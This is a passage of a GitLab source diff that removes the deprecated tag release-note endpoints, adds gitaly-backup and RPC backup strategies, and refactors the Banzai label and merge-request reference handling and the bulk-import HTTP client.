+ service_response = ::Snippets::UpdateService.new(project: nil, current_user: current_user, params: attrs).execute(snippet)
snippet = service_response.payload[:snippet]
diff --git a/lib/api/tags.rb b/lib/api/tags.rb
index e77d7e34de3..6c8e2c69a6d 100644
--- a/lib/api/tags.rb
+++ b/lib/api/tags.rb
@@ -51,35 +51,22 @@ module API
end
desc 'Create a new repository tag' do
- detail 'This optional release_description parameter was deprecated in GitLab 11.7.'
success Entities::Tag
end
params do
requires :tag_name, type: String, desc: 'The name of the tag'
requires :ref, type: String, desc: 'The commit sha or branch name'
optional :message, type: String, desc: 'Specifying a message creates an annotated tag'
- optional :release_description, type: String, desc: 'Specifying release notes stored in the GitLab database (deprecated in GitLab 11.7)'
end
post ':id/repository/tags', :release_orchestration do
+ deprecate_release_notes unless params[:release_description].blank?
+
authorize_admin_tag
result = ::Tags::CreateService.new(user_project, current_user)
.execute(params[:tag_name], params[:ref], params[:message])
if result[:status] == :success
- # Release creation with Tags API was deprecated in GitLab 11.7
- if params[:release_description].present?
- release_create_params = {
- tag: params[:tag_name],
- name: params[:tag_name], # Name can be specified in new API
- description: params[:release_description]
- }
-
- ::Releases::CreateService
- .new(user_project, current_user, release_create_params)
- .execute
- end
-
present result[:tag],
with: Entities::Tag,
project: user_project
@@ -109,74 +96,6 @@ module API
end
end
end
-
- desc 'Add a release note to a tag' do
- detail 'This feature was deprecated in GitLab 11.7.'
- success Entities::TagRelease
- end
- params do
- requires :tag_name, type: String, desc: 'The name of the tag', as: :tag
- requires :description, type: String, desc: 'Release notes with markdown support'
- end
- post ':id/repository/tags/:tag_name/release', requirements: TAG_ENDPOINT_REQUIREMENTS, feature_category: :release_orchestration do
- authorize_create_release!
-
- ##
- # Legacy API does not support tag auto creation.
- not_found!('Tag') unless user_project.repository.find_tag(params[:tag])
-
- release_create_params = {
- tag: params[:tag],
- name: params[:tag], # Name can be specified in new API
- description: params[:description]
- }
-
- result = ::Releases::CreateService
- .new(user_project, current_user, release_create_params)
- .execute
-
- if result[:status] == :success
- present result[:release], with: Entities::TagRelease
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
-
- desc "Update a tag's release note" do
- detail 'This feature was deprecated in GitLab 11.7.'
- success Entities::TagRelease
- end
- params do
- requires :tag_name, type: String, desc: 'The name of the tag', as: :tag
- requires :description, type: String, desc: 'Release notes with markdown support'
- end
- put ':id/repository/tags/:tag_name/release', requirements: TAG_ENDPOINT_REQUIREMENTS, feature_category: :release_orchestration do
- authorize_update_release!
-
- result = ::Releases::UpdateService
- .new(user_project, current_user, declared_params(include_missing: false))
- .execute
-
- if result[:status] == :success
- present result[:release], with: Entities::TagRelease
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
- end
-
- helpers do
- def authorize_create_release!
- authorize! :create_release, user_project
- end
-
- def authorize_update_release!
- authorize! :update_release, release
- end
-
- def release
- @release ||= user_project.releases.find_by_tag(params[:tag])
- end
end
end
end
diff --git a/lib/api/terraform/modules/v1/packages.rb b/lib/api/terraform/modules/v1/packages.rb
index 34e77e09800..aa59b6a4fee 100644
--- a/lib/api/terraform/modules/v1/packages.rb
+++ b/lib/api/terraform/modules/v1/packages.rb
@@ -124,7 +124,7 @@ module API
end
get do
- track_package_event('pull_package', :terraform_module)
+ track_package_event('pull_package', :terraform_module, project: package.project, namespace: module_namespace, user: current_user)
present_carrierwave_file!(package_file.file)
end
@@ -183,7 +183,7 @@ module API
render_api_error!(result[:message], result[:http_status]) if result[:status] == :error
- track_package_event('push_package', :terraform_module)
+ track_package_event('push_package', :terraform_module, project: authorized_user_project, user: current_user, namespace: authorized_user_project.namespace)
created!
rescue ObjectStorage::RemoteStoreError => e
diff --git a/lib/api/unleash.rb b/lib/api/unleash.rb
index 3148c56339a..37fe540cde1 100644
--- a/lib/api/unleash.rb
+++ b/lib/api/unleash.rb
@@ -69,10 +69,7 @@ module API
def feature_flags
return [] unless unleash_app_name.present?
- legacy_flags = Operations::FeatureFlagScope.for_unleash_client(project, unleash_app_name)
- new_version_flags = Operations::FeatureFlag.for_unleash_client(project, unleash_app_name)
-
- legacy_flags + new_version_flags
+ Operations::FeatureFlag.for_unleash_client(project, unleash_app_name)
end
end
end
diff --git a/lib/api/users.rb b/lib/api/users.rb
index 565a3544da2..2608fb87e22 100644
--- a/lib/api/users.rb
+++ b/lib/api/users.rb
@@ -241,7 +241,7 @@ module API
authenticated_as_admin!
params = declared_params(include_missing: false)
- user = ::Users::CreateService.new(current_user, params).execute(skip_authorization: true)
+ user = ::Users::AuthorizedCreateService.new(current_user, params).execute
if user.persisted?
present user, with: Entities::UserWithAdmin, current_user: current_user
@@ -1025,7 +1025,9 @@ module API
detail 'This feature was introduced in GitLab 13.10.'
end
params do
- requires :view_diffs_file_by_file, type: Boolean, desc: 'Flag indicating the user sees only one file diff per page'
+ optional :view_diffs_file_by_file, type: Boolean, desc: 'Flag indicating the user sees only one file diff per page'
+ optional :show_whitespace_in_diffs, type: Boolean, desc: 'Flag indicating the user sees whitespace changes in diffs'
+ at_least_one_of :view_diffs_file_by_file, :show_whitespace_in_diffs
end
put "preferences", feature_category: :users do
authenticate!
@@ -1043,6 +1045,14 @@ module API
end
end
+ desc "Get the current user's preferences" do
+ success Entities::UserPreferences
+ detail 'This feature was introduced in GitLab 14.0.'
+ end
+ get "preferences", feature_category: :users do
+ present current_user.user_preference, with: Entities::UserPreferences
+ end
+
desc 'Get a single email address owned by the currently authenticated user' do
success Entities::Email
end
diff --git a/lib/backup/gitaly_backup.rb b/lib/backup/gitaly_backup.rb
new file mode 100644
index 00000000000..cfd3d463f9e
--- /dev/null
+++ b/lib/backup/gitaly_backup.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module Backup
+ # Backup and restores repositories using gitaly-backup
+ class GitalyBackup
+ def initialize(progress)
+ @progress = progress
+ end
+
+ def start(type)
+ raise Error, 'already started' if started?
+
+ command = case type
+ when :create
+ 'create'
+ when :restore
+ 'restore'
+ else
+ raise Error, "unknown backup type: #{type}"
+ end
+
+ @read_io, @write_io = IO.pipe
+ @pid = Process.spawn(bin_path, command, '-path', backup_repos_path, in: @read_io, out: progress)
+ end
+
+ def wait
+ return unless started?
+
+ @write_io.close
+ Process.wait(@pid)
+ status = $?
+
+ @pid = nil
+
+ raise Error, "gitaly-backup exit status #{status.exitstatus}" if status.exitstatus != 0
+ end
+
+ def enqueue(container, repo_type)
+ raise Error, 'not started' unless started?
+
+ repository = repo_type.repository_for(container)
+
+ @write_io.puts({
+ storage_name: repository.storage,
+ relative_path: repository.relative_path,
+ gl_project_path: repository.gl_project_path,
+ always_create: repo_type.project?
+ }.merge(Gitlab::GitalyClient.connection_data(repository.storage)).to_json)
+ end
+
+ private
+
+ attr_reader :progress
+
+ def started?
+ @pid.present?
+ end
+
+ def backup_repos_path
+ File.absolute_path(File.join(Gitlab.config.backup.path, 'repositories'))
+ end
+
+ def bin_path
+ File.absolute_path(File.join(Gitlab.config.gitaly.client_path, 'gitaly-backup'))
+ end
+ end
+end
diff --git a/lib/backup/gitaly_rpc_backup.rb b/lib/backup/gitaly_rpc_backup.rb
new file mode 100644
index 00000000000..53f1de40509
--- /dev/null
+++ b/lib/backup/gitaly_rpc_backup.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+module Backup
+ # Backup and restores repositories using the gitaly RPC
+ class GitalyRpcBackup
+ def initialize(progress)
+ @progress = progress
+ end
+
+ def start(type)
+ raise Error, 'already started' if @type
+
+ @type = type
+ case type
+ when :create
+ FileUtils.rm_rf(backup_repos_path)
+ FileUtils.mkdir_p(Gitlab.config.backup.path)
+ FileUtils.mkdir(backup_repos_path, mode: 0700)
+ when :restore
+ # no op
+ else
+ raise Error, "unknown backup type: #{type}"
+ end
+ end
+
+ def wait
+ @type = nil
+ end
+
+ def enqueue(container, repository_type)
+ backup_restore = BackupRestore.new(
+ progress,
+ repository_type.repository_for(container),
+ backup_repos_path
+ )
+
+ case @type
+ when :create
+ backup_restore.backup
+ when :restore
+ backup_restore.restore(always_create: repository_type.project?)
+ else
+ raise Error, 'not started'
+ end
+ end
+
+ private
+
+ attr_reader :progress
+
+ def backup_repos_path
+ @backup_repos_path ||= File.join(Gitlab.config.backup.path, 'repositories')
+ end
+
+ class BackupRestore
+ attr_accessor :progress, :repository, :backup_repos_path
+
+ def initialize(progress, repository, backup_repos_path)
+ @progress = progress
+ @repository = repository
+ @backup_repos_path = backup_repos_path
+ end
+
+ def backup
+ progress.puts " * #{display_repo_path} ... "
+
+ if repository.empty?
+ progress.puts " * #{display_repo_path} ... " + "[EMPTY] [SKIPPED]".color(:cyan)
+ return
+ end
+
+ FileUtils.mkdir_p(repository_backup_path)
+
+ repository.bundle_to_disk(path_to_bundle)
+ repository.gitaly_repository_client.backup_custom_hooks(custom_hooks_tar)
+
+ progress.puts " * #{display_repo_path} ... " + "[DONE]".color(:green)
+
+ rescue StandardError => e
+ progress.puts "[Failed] backing up #{display_repo_path}".color(:red)
+ progress.puts "Error #{e}".color(:red)
+ end
+
+ def restore(always_create: false)
+ progress.puts " * #{display_repo_path} ... "
+
+ repository.remove rescue nil
+
+ if File.exist?(path_to_bundle)
+ repository.create_from_bundle(path_to_bundle)
+ restore_custom_hooks
+ elsif always_create
+ repository.create_repository
+ end
+
+ progress.puts " * #{display_repo_path} ... " + "[DONE]".color(:green)
+
+ rescue StandardError => e
+ progress.puts "[Failed] restoring #{display_repo_path}".color(:red)
+ progress.puts "Error #{e}".color(:red)
+ end
+
+ private
+
+ def display_repo_path
+ "#{repository.full_path} (#{repository.disk_path})"
+ end
+
+ def repository_backup_path
+ @repository_backup_path ||= File.join(backup_repos_path, repository.disk_path)
+ end
+
+ def path_to_bundle
+ @path_to_bundle ||= File.join(backup_repos_path, repository.disk_path + '.bundle')
+ end
+
+ def restore_custom_hooks
+ return unless File.exist?(custom_hooks_tar)
+
+ repository.gitaly_repository_client.restore_custom_hooks(custom_hooks_tar)
+ end
+
+ def custom_hooks_tar
+ File.join(repository_backup_path, "custom_hooks.tar")
+ end
+ end
+ end
+end
diff --git a/lib/backup/repositories.rb b/lib/backup/repositories.rb
index b1231eebfcc..80d23c1eb7f 100644
--- a/lib/backup/repositories.rb
+++ b/lib/backup/repositories.rb
@@ -4,17 +4,16 @@ require 'yaml'
module Backup
class Repositories
- attr_reader :progress
-
- def initialize(progress)
+ def initialize(progress, strategy:)
@progress = progress
+ @strategy = strategy
end
def dump(max_concurrency:, max_storage_concurrency:)
- prepare
+ strategy.start(:create)
if max_concurrency <= 1 && max_storage_concurrency <= 1
- return dump_consecutive
+ return enqueue_consecutive
end
check_valid_storages!
@@ -25,7 +24,7 @@ module Backup
threads = Gitlab.config.repositories.storages.keys.map do |storage|
Thread.new do
Rails.application.executor.wrap do
- dump_storage(storage, semaphore, max_storage_concurrency: max_storage_concurrency)
+ enqueue_storage(storage, semaphore, max_storage_concurrency: max_storage_concurrency)
rescue StandardError => e
errors << e
end
@@ -37,32 +36,24 @@ module Backup
end
raise errors.pop unless errors.empty?
+ ensure
+ strategy.wait
end
def restore
- restore_project_repositories
- restore_snippets
+ strategy.start(:restore)
+ enqueue_consecutive
+
+ ensure
+ strategy.wait
+ cleanup_snippets_without_repositories
restore_object_pools
end
private
- def restore_project_repositories
- Project.find_each(batch_size: 1000) do |project|
- restore_repository(project, Gitlab::GlRepository::PROJECT)
- restore_repository(project, Gitlab::GlRepository::WIKI)
- restore_repository(project, Gitlab::GlRepository::DESIGN)
- end
- end
-
- def restore_snippets
- invalid_ids = Snippet.find_each(batch_size: 1000)
- .map { |snippet| restore_snippet_repository(snippet) }
- .compact
-
- cleanup_snippets_without_repositories(invalid_ids)
- end
+ attr_reader :progress, :strategy
def check_valid_storages!
repository_storage_klasses.each do |klass|
@@ -76,32 +67,22 @@ module Backup
[ProjectRepository, SnippetRepository]
end
- def backup_repos_path
- @backup_repos_path ||= File.join(Gitlab.config.backup.path, 'repositories')
- end
-
- def prepare
- FileUtils.rm_rf(backup_repos_path)
- FileUtils.mkdir_p(Gitlab.config.backup.path)
- FileUtils.mkdir(backup_repos_path, mode: 0700)
+ def enqueue_consecutive
+ enqueue_consecutive_projects
+ enqueue_consecutive_snippets
end
- def dump_consecutive
- dump_consecutive_projects
- dump_consecutive_snippets
- end
-
- def dump_consecutive_projects
+ def enqueue_consecutive_projects
project_relation.find_each(batch_size: 1000) do |project|
- dump_project(project)
+ enqueue_project(project)
end
end
- def dump_consecutive_snippets
- Snippet.find_each(batch_size: 1000) { |snippet| dump_snippet(snippet) }
+ def enqueue_consecutive_snippets
+ Snippet.find_each(batch_size: 1000) { |snippet| enqueue_snippet(snippet) }
end
- def dump_storage(storage, semaphore, max_storage_concurrency:)
+ def enqueue_storage(storage, semaphore, max_storage_concurrency:)
errors = Queue.new
queue = InterlockSizedQueue.new(1)
@@ -114,7 +95,7 @@ module Backup
end
begin
- dump_container(container)
+ enqueue_container(container)
rescue StandardError => e
errors << e
break
@@ -136,23 +117,23 @@ module Backup
end
end
- def dump_container(container)
+ def enqueue_container(container)
case container
when Project
- dump_project(container)
+ enqueue_project(container)
when Snippet
- dump_snippet(container)
+ enqueue_snippet(container)
end
end
- def dump_project(project)
- backup_repository(project, Gitlab::GlRepository::PROJECT)
- backup_repository(project, Gitlab::GlRepository::WIKI)
- backup_repository(project, Gitlab::GlRepository::DESIGN)
+ def enqueue_project(project)
+ strategy.enqueue(project, Gitlab::GlRepository::PROJECT)
+ strategy.enqueue(project, Gitlab::GlRepository::WIKI)
+ strategy.enqueue(project, Gitlab::GlRepository::DESIGN)
end
- def dump_snippet(snippet)
- backup_repository(snippet, Gitlab::GlRepository::SNIPPET)
+ def enqueue_snippet(snippet)
+ strategy.enqueue(snippet, Gitlab::GlRepository::SNIPPET)
end
def enqueue_records_for_storage(storage, queue, errors)
@@ -181,22 +162,6 @@ module Backup
Snippet.id_in(SnippetRepository.for_repository_storage(storage).select(:snippet_id))
end
- def backup_repository(container, type)
- BackupRestore.new(
- progress,
- type.repository_for(container),
- backup_repos_path
- ).backup
- end
-
- def restore_repository(container, type)
- BackupRestore.new(
- progress,
- type.repository_for(container),
- backup_repos_path
- ).restore(always_create: type.project?)
- end
-
def restore_object_pools
PoolRepository.includes(:source_project).find_each do |pool|
progress.puts " - Object pool #{pool.disk_path}..."
@@ -214,99 +179,22 @@ module Backup
end
end
- def restore_snippet_repository(snippet)
- restore_repository(snippet, Gitlab::GlRepository::SNIPPET)
-
- response = Snippets::RepositoryValidationService.new(nil, snippet).execute
-
- if response.error?
- snippet.repository.remove
-
- progress.puts("Snippet #{snippet.full_path} can't be restored: #{response.message}")
-
- snippet.id
- else
- nil
- end
- end
-
# Snippets without a repository should be removed because they failed to import
# due to having invalid repositories
- def cleanup_snippets_without_repositories(ids)
- Snippet.id_in(ids).delete_all
- end
+ def cleanup_snippets_without_repositories
+ invalid_snippets = []
- class BackupRestore
- attr_accessor :progress, :repository, :backup_repos_path
+ Snippet.find_each(batch_size: 1000).each do |snippet|
+ response = Snippets::RepositoryValidationService.new(nil, snippet).execute
+ next if response.success?
- def initialize(progress, repository, backup_repos_path)
- @progress = progress
- @repository = repository
- @backup_repos_path = backup_repos_path
- end
-
- def backup
- progress.puts " * #{display_repo_path} ... "
-
- if repository.empty?
- progress.puts " * #{display_repo_path} ... " + "[EMPTY] [SKIPPED]".color(:cyan)
- return
- end
-
- FileUtils.mkdir_p(repository_backup_path)
-
- repository.bundle_to_disk(path_to_bundle)
- repository.gitaly_repository_client.backup_custom_hooks(custom_hooks_tar)
-
- progress.puts " * #{display_repo_path} ... " + "[DONE]".color(:green)
-
- rescue StandardError => e
- progress.puts "[Failed] backing up #{display_repo_path}".color(:red)
- progress.puts "Error #{e}".color(:red)
- end
-
- def restore(always_create: false)
- progress.puts " * #{display_repo_path} ... "
-
- repository.remove rescue nil
-
- if File.exist?(path_to_bundle)
- repository.create_from_bundle(path_to_bundle)
- restore_custom_hooks
- elsif always_create
- repository.create_repository
- end
-
- progress.puts " * #{display_repo_path} ... " + "[DONE]".color(:green)
-
- rescue StandardError => e
- progress.puts "[Failed] restoring #{display_repo_path}".color(:red)
- progress.puts "Error #{e}".color(:red)
- end
-
- private
-
- def display_repo_path
- "#{repository.full_path} (#{repository.disk_path})"
- end
-
- def repository_backup_path
- @repository_backup_path ||= File.join(backup_repos_path, repository.disk_path)
- end
-
- def path_to_bundle
- @path_to_bundle ||= File.join(backup_repos_path, repository.disk_path + '.bundle')
- end
-
- def restore_custom_hooks
- return unless File.exist?(custom_hooks_tar)
+ snippet.repository.remove
+ progress.puts("Snippet #{snippet.full_path} can't be restored: #{response.message}")
- repository.gitaly_repository_client.restore_custom_hooks(custom_hooks_tar)
+ invalid_snippets << snippet.id
end
- def custom_hooks_tar
- File.join(repository_backup_path, "custom_hooks.tar")
- end
+ Snippet.id_in(invalid_snippets).delete_all
end
class InterlockSizedQueue < SizedQueue
diff --git a/lib/banzai/filter/base_relative_link_filter.rb b/lib/banzai/filter/base_relative_link_filter.rb
index 3f775abb185..b2eaeb69f61 100644
--- a/lib/banzai/filter/base_relative_link_filter.rb
+++ b/lib/banzai/filter/base_relative_link_filter.rb
@@ -13,18 +13,12 @@ module Banzai
protected
def linkable_attributes
- if Feature.enabled?(:optimize_linkable_attributes, project, default_enabled: :yaml)
- # Nokorigi Nodeset#search performs badly for documents with many nodes
- #
- # Here we store fetched attributes in the shared variable "result"
- # This variable is passed through the chain of filters and can be
- # accessed by them
- result[:linkable_attributes] ||= fetch_linkable_attributes
- else
- strong_memoize(:linkable_attributes) do
- fetch_linkable_attributes
- end
- end
+ # Nokorigi Nodeset#search performs badly for documents with many nodes
+ #
+ # Here we store fetched attributes in the shared variable "result"
+ # This variable is passed through the chain of filters and can be
+ # accessed by them
+ result[:linkable_attributes] ||= fetch_linkable_attributes
end
def relative_url_root
diff --git a/lib/banzai/filter/markdown_pre_escape_filter.rb b/lib/banzai/filter/markdown_pre_escape_filter.rb
index 0c53444681d..8d54d140877 100644
--- a/lib/banzai/filter/markdown_pre_escape_filter.rb
+++ b/lib/banzai/filter/markdown_pre_escape_filter.rb
@@ -30,8 +30,6 @@ module Banzai
LITERAL_KEYWORD = 'cmliteral'
def call
- return @text unless Feature.enabled?(:honor_escaped_markdown, context[:group] || context[:project]&.group)
-
@text.gsub(ASCII_PUNCTUATION) do |match|
# The majority of markdown does not have literals. If none
# are found, we can bypass the post filter
diff --git a/lib/banzai/filter/references/label_reference_filter.rb b/lib/banzai/filter/references/label_reference_filter.rb
index bf6b3e47d3b..12afece6e53 100644
--- a/lib/banzai/filter/references/label_reference_filter.rb
+++ b/lib/banzai/filter/references/label_reference_filter.rb
@@ -8,21 +8,57 @@ module Banzai
self.reference_type = :label
self.object_class = Label
+ def parent_records(parent, ids)
+ return Label.none unless parent.is_a?(Project) || parent.is_a?(Group)
+
+ labels = find_labels(parent)
+ label_ids = ids.map {|y| y[:label_id]}.compact
+ label_names = ids.map {|y| y[:label_name]}.compact
+ id_relation = labels.where(id: label_ids)
+ label_relation = labels.where(title: label_names)
+
+ Label.from_union([id_relation, label_relation])
+ end
+
def find_object(parent_object, id)
- find_labels(parent_object).find(id)
+ key = reference_cache.records_per_parent[parent_object].keys.find do |k|
+ k[:label_id] == id[:label_id] || k[:label_name] == id[:label_name]
+ end
+
+ reference_cache.records_per_parent[parent_object][key] if key
+ end
+
+ # Transform a symbol extracted from the text to a meaningful value
+ #
+ # This method has the contract that if a string `ref` refers to a
+ # record `record`, then `parse_symbol(ref) == record_identifier(record)`.
+ #
+ # This contract is slightly broken here, as we only have either the label_id
+ # or the label_name, but not both. But below, we have both pieces of information.
+ # But it's accounted for in `find_object`
+ def parse_symbol(symbol, match_data)
+ { label_id: match_data[:label_id]&.to_i, label_name: match_data[:label_name]&.tr('"', '') }
+ end
+
+ # We assume that most classes are identifying records by ID.
+ #
+ # This method has the contract that if a string `ref` refers to a
+ # record `record`, then `class.parse_symbol(ref) == record_identifier(record)`.
+ # See note in `parse_symbol` above
+ def record_identifier(record)
+ { label_id: record.id, label_name: record.title }
end
def references_in(text, pattern = Label.reference_pattern)
labels = {}
- unescaped_html = unescape_html_entities(text).gsub(pattern) do |match|
- namespace = $~[:namespace]
- project = $~[:project]
- project_path = reference_cache.full_project_path(namespace, project)
- label = find_label_cached(project_path, $~[:label_id], $~[:label_name])
-
- if label
- labels[label.id] = yield match, label.id, project, namespace, $~
- "#{REFERENCE_PLACEHOLDER}#{label.id}"
+
+ unescaped_html = unescape_html_entities(text).gsub(pattern).with_index do |match, index|
+ ident = identifier($~)
+ label = yield match, ident, $~[:project], $~[:namespace], $~
+
+ if label != match
+ labels[index] = label
+ "#{REFERENCE_PLACEHOLDER}#{index}"
else
match
end
@@ -33,20 +69,6 @@ module Banzai
escape_with_placeholders(unescaped_html, labels)
end
- def find_label_cached(parent_ref, label_id, label_name)
- cached_call(:banzai_find_label_cached, label_name&.tr('"', '') || label_id, path: [object_class, parent_ref]) do
- find_label(parent_ref, label_id, label_name)
- end
- end
-
- def find_label(parent_ref, label_id, label_name)
- parent = parent_from_ref(parent_ref)
- return unless parent
-
- label_params = label_params(label_id, label_name)
- find_labels(parent).find_by(label_params)
- end
-
def find_labels(parent)
params = if parent.is_a?(Group)
{ group_id: parent.id,
@@ -60,21 +82,6 @@ module Banzai
LabelsFinder.new(nil, params).execute(skip_authorization: true)
end
- # Parameters to pass to `Label.find_by` based on the given arguments
- #
- # id - Integer ID to pass. If present, returns {id: id}
- # name - String name to pass. If `id` is absent, finds by name without
- # surrounding quotes.
- #
- # Returns a Hash.
- def label_params(id, name)
- if name
- { name: name.tr('"', '') }
- else
- { id: id.to_i }
- end
- end
-
def url_for_object(label, parent)
label_url_method =
if context[:label_url_method]
@@ -121,6 +128,14 @@ module Banzai
presenter = object.present(issuable_subject: project || group)
LabelsHelper.label_tooltip_title(presenter)
end
+
+ def parent
+ project || group
+ end
+
+ def requires_unescaping?
+ true
+ end
end
end
end
diff --git a/lib/banzai/filter/references/reference_cache.rb b/lib/banzai/filter/references/reference_cache.rb
index ab0c74e00d9..24b8b4984cd 100644
--- a/lib/banzai/filter/references/reference_cache.rb
+++ b/lib/banzai/filter/references/reference_cache.rb
@@ -29,15 +29,15 @@ module Banzai
refs = Hash.new { |hash, key| hash[key] = Set.new }
nodes.each do |node|
- node.to_html.scan(regex) do
- path = if parent_type == :project
- full_project_path($~[:namespace], $~[:project])
- else
- full_group_path($~[:group])
- end
+ prepare_node_for_scan(node).scan(regex) do
+ parent_path = if parent_type == :project
+ full_project_path($~[:namespace], $~[:project])
+ else
+ full_group_path($~[:group])
+ end
ident = filter.identifier($~)
- refs[path] << ident if ident
+ refs[parent_path] << ident if ident
end
end
@@ -55,9 +55,23 @@ module Banzai
@per_reference ||= {}
@per_reference[parent_type] ||= begin
- refs = references_per_parent.keys.to_set
+ refs = references_per_parent.keys
+ parent_ref = {}
- find_for_paths(refs.to_a).index_by(&:full_path)
+ # if we already have a parent, no need to query it again
+ refs.each do |ref|
+ next unless ref
+
+ if context[:project]&.full_path == ref
+ parent_ref[ref] = context[:project]
+ elsif context[:group]&.full_path == ref
+ parent_ref[ref] = context[:group]
+ end
+
+ refs -= [ref] if parent_ref[ref]
+ end
+
+ find_for_paths(refs).index_by(&:full_path).merge(parent_ref)
end
end
@@ -87,7 +101,7 @@ module Banzai
@_records_per_project[filter.object_class.to_s.underscore]
end
- def relation_for_paths(paths)
+ def objects_for_paths(paths)
klass = parent_type.to_s.camelize.constantize
result = klass.where_full_path_in(paths)
return result if parent_type == :group
@@ -102,7 +116,7 @@ module Banzai
to_query = paths - cache.keys
unless to_query.empty?
- records = relation_for_paths(to_query)
+ records = objects_for_paths(to_query)
found = []
records.each do |record|
@@ -119,7 +133,7 @@ module Banzai
cache.slice(*paths).values.compact
else
- relation_for_paths(paths)
+ objects_for_paths(paths)
end
end
@@ -170,6 +184,16 @@ module Banzai
def refs_cache
Gitlab::SafeRequestStore["banzai_#{parent_type}_refs".to_sym] ||= {}
end
+
+ def prepare_node_for_scan(node)
+ html = node.to_html
+
+ filter.requires_unescaping? ? unescape_html_entities(html) : html
+ end
+
+ def unescape_html_entities(text)
+ CGI.unescapeHTML(text.to_s)
+ end
end
end
end
diff --git a/lib/banzai/filter/references/reference_filter.rb b/lib/banzai/filter/references/reference_filter.rb
index 58436f4505e..6c2c993cc01 100644
--- a/lib/banzai/filter/references/reference_filter.rb
+++ b/lib/banzai/filter/references/reference_filter.rb
@@ -109,6 +109,10 @@ module Banzai
context[:group]
end
+ def requires_unescaping?
+ false
+ end
+
private
# Returns a data attribute String to attach to a reference link
diff --git a/lib/banzai/filter/upload_link_filter.rb b/lib/banzai/filter/upload_link_filter.rb
index ceb7547a85d..2572481c8fc 100644
--- a/lib/banzai/filter/upload_link_filter.rb
+++ b/lib/banzai/filter/upload_link_filter.rb
@@ -15,16 +15,10 @@ module Banzai
def call
return doc if context[:system_note]
- if Feature.enabled?(:optimize_linkable_attributes, project, default_enabled: :yaml)
- # We exclude processed upload links from the linkable attributes to
- # prevent further modifications by RepositoryLinkFilter
- linkable_attributes.reject! do |attr|
- process_link_to_upload_attr(attr)
- end
- else
- linkable_attributes.each do |attr|
- process_link_to_upload_attr(attr)
- end
+ # We exclude processed upload links from the linkable attributes to
+ # prevent further modifications by RepositoryLinkFilter
+ linkable_attributes.reject! do |attr|
+ process_link_to_upload_attr(attr)
end
doc
diff --git a/lib/banzai/pipeline/markup_pipeline.rb b/lib/banzai/pipeline/markup_pipeline.rb
index c86d5f08ded..17a73f29afb 100644
--- a/lib/banzai/pipeline/markup_pipeline.rb
+++ b/lib/banzai/pipeline/markup_pipeline.rb
@@ -9,7 +9,8 @@ module Banzai
Filter::AssetProxyFilter,
Filter::ExternalLinkFilter,
Filter::PlantumlFilter,
- Filter::SyntaxHighlightFilter
+ Filter::SyntaxHighlightFilter,
+ Filter::KrokiFilter
]
end
diff --git a/lib/banzai/reference_parser/issue_parser.rb b/lib/banzai/reference_parser/issue_parser.rb
index 97c7173ac0f..6b1491cc56b 100644
--- a/lib/banzai/reference_parser/issue_parser.rb
+++ b/lib/banzai/reference_parser/issue_parser.rb
@@ -66,14 +66,7 @@ module Banzai
# These associations are primarily used for checking permissions.
# Eager loading these ensures we don't end up running dozens of
# queries in this process.
- project: [
- { namespace: :owner },
- { group: [:owners, :group_members] },
- :invited_groups,
- :project_members,
- :project_feature,
- :route
- ]
+ project: [:namespace, :project_feature, :route]
}
),
self.class.data_attribute
diff --git a/lib/banzai/reference_parser/merge_request_parser.rb b/lib/banzai/reference_parser/merge_request_parser.rb
index 24bc1a24e09..1664fa1f9ff 100644
--- a/lib/banzai/reference_parser/merge_request_parser.rb
+++ b/lib/banzai/reference_parser/merge_request_parser.rb
@@ -7,6 +7,19 @@ module Banzai
self.reference_type = :merge_request
+ def nodes_visible_to_user(user, nodes)
+ return super if Feature.disabled?(:optimize_merge_request_parser, user, default_enabled: :yaml)
+
+ merge_request_nodes = nodes.select { |node| node.has_attribute?(self.class.data_attribute) }
+ records = projects_for_nodes(merge_request_nodes)
+
+ merge_request_nodes.select do |node|
+ project = records[node]
+
+ project && can_read_reference?(user, project)
+ end
+ end
+
def records_for_nodes(nodes)
@merge_requests_for_nodes ||= grouped_objects_for_nodes(
nodes,
@@ -17,27 +30,25 @@ module Banzai
# These associations are primarily used for checking permissions.
# Eager loading these ensures we don't end up running dozens of
# queries in this process.
- target_project: [
- { namespace: [:owner, :route] },
- { group: [:owners, :group_members] },
- :invited_groups,
- :project_members,
- :project_feature,
- :route
- ]
+ target_project: [{ namespace: :route }, :project_feature, :route]
}),
self.class.data_attribute
)
end
- def can_read_reference?(user, merge_request)
+ def can_read_reference?(user, object)
memo = strong_memoize(:can_read_reference) { {} }
- project_id = merge_request.project_id
+ project_id = object.project_id
return memo[project_id] if memo.key?(project_id)
- memo[project_id] = can?(user, :read_merge_request_iid, merge_request.project)
+ memo[project_id] = can?(user, :read_merge_request_iid, object)
+ end
+
+ def projects_for_nodes(nodes)
+ @projects_for_nodes ||=
+ grouped_objects_for_nodes(nodes, Project.includes(:project_feature, :group, :namespace), 'data-project')
end
end
end
diff --git a/lib/bulk_imports/clients/graphql.rb b/lib/bulk_imports/clients/graphql.rb
index b067431aeae..ca549c4be14 100644
--- a/lib/bulk_imports/clients/graphql.rb
+++ b/lib/bulk_imports/clients/graphql.rb
@@ -25,7 +25,7 @@ module BulkImports
delegate :query, :parse, :execute, to: :client
- def initialize(url: Gitlab::COM_URL, token: nil)
+ def initialize(url: Gitlab::Saas.com_url, token: nil)
@url = Gitlab::Utils.append_path(url, '/api/graphql')
@token = token
@client = Graphlient::Client.new(
diff --git a/lib/bulk_imports/clients/http.rb b/lib/bulk_imports/clients/http.rb
index c89679f63b5..c5f12d8c2ba 100644
--- a/lib/bulk_imports/clients/http.rb
+++ b/lib/bulk_imports/clients/http.rb
@@ -2,7 +2,7 @@
module BulkImports
module Clients
- class Http
+ class HTTP
API_VERSION = 'v4'
DEFAULT_PAGE = 1
DEFAULT_PER_PAGE = 30
@@ -18,25 +18,19 @@ module BulkImports
end
def get(resource, query = {})
- with_error_handling do
- Gitlab::HTTP.get(
- resource_url(resource),
- headers: request_headers,
- follow_redirects: false,
- query: query.reverse_merge(request_query)
- )
- end
+ request(:get, resource, query: query.reverse_merge(request_query))
end
def post(resource, body = {})
- with_error_handling do
- Gitlab::HTTP.post(
- resource_url(resource),
- headers: request_headers,
- follow_redirects: false,
- body: body
- )
- end
+ request(:post, resource, body: body)
+ end
+
+ def head(resource)
+ request(:head, resource)
+ end
+
+ def stream(resource, &block)
+ request(:get, resource, stream_body: true, &block)
end
